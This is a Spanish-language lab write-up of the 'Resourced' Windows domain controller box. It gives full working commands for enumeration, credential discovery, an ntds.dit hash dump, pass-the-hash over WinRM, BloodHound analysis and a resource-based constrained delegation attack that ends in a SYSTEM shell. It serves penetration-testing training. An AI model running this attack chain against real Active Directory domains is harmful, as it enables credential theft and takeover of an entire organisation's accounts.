skip to content
← volver al catálogo
EN
EXPEDIENTE №010 · CLASIFICACIÓN DECLASSIFIED ·

Resourced

PG MEDIUM OBJETIVO: 192.168.137.175
#windows#active-directory#ntds-dit#pass-the-hash#genericwrite#rbcd#bloodhound#kerberos
Resourced Banner
PLATE Nº 01Resourced Banner

Detalles

  • Sistema Operativo: Windows
  • Dificultad: Medium
  • IP Address: 192.168.137.175
  • Autor: AETH3RON

Resumen

Resourced es un Controlador de Dominio Windows que expone archivos internos críticos debido a permisos débiles. El acceso inicial se establece descubriendo credenciales en el atributo de descripción de un usuario, lo que permite acceder a un share que contiene un backup de la base de datos de Active Directory (ntds.dit). Tras volcar los hashes del dominio y autenticarnos vía WinRM, la escalada de privilegios se logra explotando un ACL GenericWrite sobre el Controlador de Dominio para realizar un ataque de Resource-Based Constrained Delegation (RBCD).

Enumeración

Nmap

Comenzamos escaneando el objetivo para identificar los puertos abiertos y servicios.

nmap -Pn -sS -sV -p- 192.168.137.175 -oN nmap-basic
escaneo nmap básico
PLATE Nº 02escaneo nmap básico

Realizamos un escaneo más completo sobre los puertos descubiertos para enumerar el entorno de Active Directory.

nmap -Pn -sC -p53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389 192.168.137.175 -oN nmap-common
escaneo nmap completo
PLATE Nº 03escaneo nmap completo

SMB

Procedemos con enumeración SMB básica usando NetExec para identificar usuarios potenciales o información accesible sin autenticación.

nxc smb 192.168.137.175 -u '' -p '' --users
enumeración de usuarios nxc
PLATE Nº 04enumeración de usuarios nxc

Descubrimos una filtración de información crítica: el usuario V.Ventz tiene su contraseña almacenada en el atributo description: HotelCalifornia194!

Acceso Inicial

Con credenciales válidas, enumeramos los shares disponibles para ver a qué puede acceder este usuario.

nxc smb 192.168.137.175 -u 'v.ventz' -p 'HotelCalifornia194!' --shares
enumeración de shares nxc
PLATE Nº 05enumeración de shares nxc

Identificamos shares interesantes. Para explorar exhaustivamente su contenido, usamos el módulo spider_plus.

nxc smb 192.168.137.175 -u 'v.ventz' -p 'HotelCalifornia194!' -M spider_plus
nxc spider plus
PLATE Nº 06nxc spider plus

Analizando el output JSON resultante, confirmamos la existencia de dos archivos críticos: ntds.dit y SYSTEM.

output json de spider
PLATE Nº 07output json de spider

El archivo ntds.dit es la base de datos de Active Directory, y combinado con el hive SYSTEM, podemos extraer todos los hashes del dominio offline. Descargamos estos archivos y usamos impacket-secretsdump para volcar los hashes.

impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
impacket secretsdump
PLATE Nº 08impacket secretsdump

Extraemos exitosamente los hashes NTLM para todos los usuarios. Para obtener una shell, comprobamos qué usuarios pertenecen al grupo Remote Management Users, que permite el acceso WinRM.

nxc ldap 192.168.137.175 -u 'v.ventz' -p 'HotelCalifornia194!' -M group-mem -o GROUP="Remote Management Users"
nxc ldap membresía del grupo
PLATE Nº 09nxc ldap membresía del grupo

El usuario L.Livingstone es miembro. Usamos su hash para autenticarnos mediante Pass-the-Hash con evil-winrm.

evil-winrm -i 192.168.137.175 -u L.Livingstone -H '19a3a7550ce8c505c2d46b5e39d6f808'
shell evil-winrm
PLATE Nº 10shell evil-winrm

Escalada de Privilegios

Para identificar rutas de escalada, recolectamos datos del dominio usando SharpHound.

.\SharpHound.exe -c All --zipfilename loot.zip
recolección sharphound
PLATE Nº 11recolección sharphound

Tras importar los datos en BloodHound, descubrimos que nuestro usuario, L.Livingstone, tiene privilegios GenericWrite sobre el objeto del Controlador de Dominio (RESOURCEDC).

ruta genericwrite en bloodhound
PLATE Nº 12ruta genericwrite en bloodhound

Esta configuración nos permite realizar un ataque de Resource-Based Constrained Delegation (RBCD).

Resource-Based Constrained Delegation (RBCD)

RBCD permite a un objeto (en este caso, el DC) decidir qué recursos pueden impersonar usuarios ante él. Como tenemos acceso de escritura sobre el objeto del DC, podemos configurarlo para que “confíe” en una cuenta de equipo que controlamos. Una vez en la lista de confianza, nuestra máquina controlada puede solicitar un ticket de servicio para el Administrador y acceder al DC.

Usamos bloodyAD para ejecutar este ataque. Primero, creamos una nueva cuenta de equipo (PwnMachine) que controlamos.

bloodyAD --host 192.168.137.175 -d resourced.local -u L.Livingstone -p 'aad3b435b51404eeaad3b435b51404ee:19a3a7550ce8c505c2d46b5e39d6f808' add computer PwnMachine 'Hacker123!'
bloodyad crear equipo
PLATE Nº 13bloodyad crear equipo

A continuación, configuramos el Controlador de Dominio para permitir que PwnMachine delegue ante él (configurando el atributo msDS-AllowedToActOnBehalfOfOtherIdentity).

bloodyAD --host 192.168.137.175 -d resourced.local -u L.Livingstone -p 'aad3b435b51404eeaad3b435b51404ee:19a3a7550ce8c505c2d46b5e39d6f808' add rbcd RESOURCEDC$ PwnMachine$
bloodyad configurar rbcd
PLATE Nº 14bloodyad configurar rbcd

Ahora, solicitamos un Service Ticket (TGS) impersonando al Administrador para el servicio CIFS en el DC.

impacket-getST -spn cifs/RESOURCEDC.resourced.local -impersonate Administrator -dc-ip 192.168.137.175 'resourced.local/PwnMachine$:Hacker123!'
impacket getST
PLATE Nº 15impacket getST

Finalmente, exportamos el ticket y usamos psexec (usando autenticación Kerberos) para obtener una shell de sistema en el Controlador de Dominio.

export KRB5CCNAME=Administrator@cifs_RESOURCEDC.resourced.local@RESOURCED.LOCAL.ccache
impacket-psexec -k -no-pass RESOURCEDC.resourced.local
impacket psexec shell de sistema
PLATE Nº 16impacket psexec shell de sistema

Impacto de Negocio

Esta cadena de ataque demuestra las graves consecuencias de almacenes de credenciales expuestos y permisos de Active Directory mal configurados. La capacidad de volcar la base de datos NTDS.dit — que contiene todos los hashes de contraseñas del dominio — representa una brecha catastrófica equivalente a comprometer todas las cuentas de usuario de la organización simultáneamente. El posterior ataque de Resource-Based Constrained Delegation mediante permisos GenericWrite resalta cómo una única entrada de ACL mal configurada puede otorgar a un atacante la capacidad de suplantar a cualquier usuario, incluyendo administradores de dominio. En industrias reguladas, este nivel de compromiso desencadenaría notificaciones obligatorias de brecha y potenciales sanciones regulatorias.

Referencias

// DESPACHOS DE CAMPO

Nuevos archivos recuperados, directos a tu bandeja. Sin ruido.